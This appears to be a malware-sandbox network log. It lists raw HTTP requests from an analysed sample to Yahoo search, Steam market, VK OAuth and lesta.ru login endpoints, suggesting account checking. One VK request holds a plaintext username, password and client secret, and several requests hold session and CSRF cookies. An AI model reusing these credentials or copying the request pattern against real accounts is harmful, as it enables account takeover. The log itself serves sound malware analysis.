Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNZRR57HVltgUrn1lXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=15&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=2&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227065&ltv_c=2Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /oauth/token?2fa_supported=1&client_id=3140623&client_secret=VeWdmVclDCtn6ihuP1nt&device_id=63F20983-DBF6-H9H0-1C69-D1E0-H3FFD14I718I&external_device_id=0IDF3EBI-6GD4-4430-6A1B-7HGE-IIIEH39906CB&grant_type=password&idfa=0DAHHCAE-GA5B-9840-85E3-0G2G-46455BCI2728&idfv=GAH47DC4-DDI5-HD18-5E08-C8DB-D8827089GF60&libverify_support=1&password=marina#7-&sak_version=1.60&scope=all&username=79186797085&v=5.131&captcha_sid=743468411181&captcha_key=zv5hpkv HTTP/1.1Host: api.vk.comKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows; Windows NT 10.0; x64) Gecko/20100101 Firefox/68.8Accept: /
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNOauC7HVlBTkrKrZLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=36&pz=7&pstart=9 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227074&ltv_c=5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc= HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31KcAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=tag_weapon_deagle&category_730_Weapon[]=tag_weapon_ak47&category_730_Weapon[]=tag_weapon_m4a1&category_730_Weapon[]=tag_weapon_awp&category_730_Weapon[]=tag_weapon_usp_silencer&category_730_Rarity[]=tag_Rarity_Mythical_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrhenGF7HVliTEsHCFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=22&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227077&ltv_c=3Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFY5aM7HVl0wor_MhLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=43&pz=7&pstart=14 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227084&ltv_c=6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3D HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://uk.search.yahoo.com/search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc=Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5 HTTP/1.1Host: consent.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://guce.yahoo.com/consent?brandType=eu&gcrumb=IM1lqPQ&lang=en-GB&done=https%3A%2F%2Fuk.search.yahoo.com%2Fsearch%3Fp%3Dit%2Bchange%2Bmanagement%2Bcourse%26fr%3Dsfp%26fr2%3D%26iscqry%3D%26vc%3DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrErnCT7HVlEO4rMUxLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=50&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227091&ltv_c=7Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrihtiT7HVljmQsNH5XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=29&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227091&ltv_c=4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=Awriq2mY7HVlIgUrLExLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=57&pz=7&pstart=14 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227096&ltv_c=8Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /copyConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&lang=en-GB HTTP/1.1Host: guce.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; GUCS=ASDNZaj0Referer: https://consent.yahoo.com/v2/collectConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrFARWZ7HVla9ArvQhXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=36&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227097&ltv_c=5Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search?p=it+change+management+course&fr=sfp&fr2=&iscqry=&vc=&guccounter=1&guce_referrer=aHR0cHM6Ly91ay5zZWFyY2gueWFob28uY29tL3NlYXJjaD9wPWl0K2NoYW5nZSttYW5hZ2VtZW50K2NvdXJzZSZmcj1zZnAmZnIyPSZpc2Nxcnk9JnZjPQ&guce_referrer_sig=AQAAABOW8XqM2ptstrhQyhrjpfodSJMJQGWDmOwD-4uTno33Lkq2_wanfA2TtsTgNwkmaZM_BVhcPEv4-ILPvdIXMtGElX0Q9pD3E1HzZ8AKo3c5CB2R8ukfzyBd3j94wZSNW5dRldM1YOpwvsbQ2fWwVzBpoJsejoIDZXTsCWe19OoH HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgABCAE0d2WpZdww0iMAAiAAAAcIgOx1Zak4Z0M&S=AQAAAp4r2me-M_AzJlb8T2To24Y; A3=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgEBAQE-d2V_Zdww0iMA_eMAAA&S=AQAAAkj13MbtLlFgPLiRFZY31Kc; A1S=d=AQABBIDsdWUCEFbQwxvJf5_3XRgVnKk4Z0MFEgABCAE0d2WpZdww0iMAAiAAAAcIgOx1Zak4Z0M&S=AQAAAp4r2me-M_AzJlb8T2To24Y; GUCS=ASDNZaj0; GUC=AQABCAFldzRlqUIfNQRq&s=AQAAAOc67Niz&g=ZXXspg; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAAReferer: https://guce.yahoo.com/copyConsent?sessionId=1_cc-session_e7be092c-d11c-4e17-911f-bcd20a6e1ed5&lang=en-GBAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=&start=0&count=1&search_descriptions=0&sort_column=price&sort_dir=asc&appid=570&category_570_Hero[]=any&category_570_Slot[]=tag_head&category_570_Type[]=tag_wearable&category_570_Type[]=tag_wearable&category_570_Slot[]=tag_back&category_570_Slot[]=tag_weapon&category_570_Rarity[]=tag_Rarity_Arcana HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /market/search/render/?query=%22iBUYPOWER%20%28Holo%29%20%7C%20Katowice%202014%22&start=0&count=1&search_descriptions=1&sort_column=price&sort_dir=asc&appid=730&category_730_ItemSet[]=any&category_730_ProPlayer[]=any&category_730_StickerCapsule[]=any&category_730_TournamentTeam[]=any&category_730_Weapon[]=any&category_730_Rarity[]=tag_Rarity_Common_Weapon&category_730_Rarity[]=tag_Rarity_Rare_Weapon&category_730_Rarity[]=tag_Rarity_Uncommon_Weapon&category_730_Rarity[]=tag_Rarity_Mythical_Weapon&category_730_Rarity[]=tag_Rarity_Legendary_Weapon&category_730_Rarity[]=tag_Rarity_Ancient_Weapon HTTP/1.1Host: steamcommunity.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrEaSSe7HVlefErW21LBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=64&pz=7&pstart=13 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227102&ltv_c=9Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrNZ72g7HVlnQYrC0hXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=zoho+erp&pz=7&fr=sfp&bct=0&b=43&pz=7&bct=0&pstart=9 HTTP/1.1Host: search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A3=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; A1S=d=AQABBFTsdWUCEEcDbnaF2EWzjbYm_IRJ2q8FEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAtJXEIaK0dS6IMiuo8fzzWQ; PROMO=ono_sc=3&ono_fts=1702227048&ltv_pid=sfp&ltv_new=1&ltv_ts=1702227048&ltv_sts=1702227104&ltv_c=6Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /search;_ylt=AwrigfWn7HVlNtgqnCdLBQx.;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=foamex+printed+boards&pz=7&fr=sfp&b=71&pz=7&pstart=8 HTTP/1.1Host: uk.search.yahoo.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36Accept-Encoding: gzip, deflateCookie: A1=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A3=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; A1S=d=AQABBD7sdWUCEEK_OzqC6PrTn0F1EZtwYPIFEgABCAEzd2WdZdww0iMAAiAAAAcIPux1ZZtwYPI&S=AQAAAidpAxmeSmKRh7obc0Jp2_A; GUCS=AVYdtGeu; GUC=AQABCAFldzNlnUIgagTD&s=AQAAADRA1rku&g=ZXXsag; EuConsent=CP2kfsAP2kfsAAOACKENAdEgAAAAAAAAACiQAAAAAAAA; PROMO=ltv_pid=sfp&ltv_new=1&ltv_ts=1702227047&ltv_sts=1702227111&ltv_c=10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Source: global traffic	HTTP traffic detected: GET /id/sessionwidget/token/?response_type=token&client_id=common_menu&scope=openid&origin=https%3A%2F%2Flesta.ru HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveCookie: wgni_language=ru; wgni_csrftoken=TEtyBnWk5kUSkeTZkbNIKDpYOABx1ZPeZbw3QV4JAY0ZsAMyodu2bQdkCnMhMt3V; wgni_sessionid=ryasm481hjm1buk4zielaytt0s4clcn4User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.152 Client/3.0.97/AuthCheck Safari/537.22
Source: global traffic	HTTP traffic detected: GET /id/state.json/ HTTP/1.1Host: lesta.ruKeep-Alive: 300Connection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.106accept: application/json, text/javascript, /; q=0.01accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7referer: https://eu.wargaming.net/id/signin/x-requested-with: XMLHttpRequestAccept-Encoding: gzip, deflate
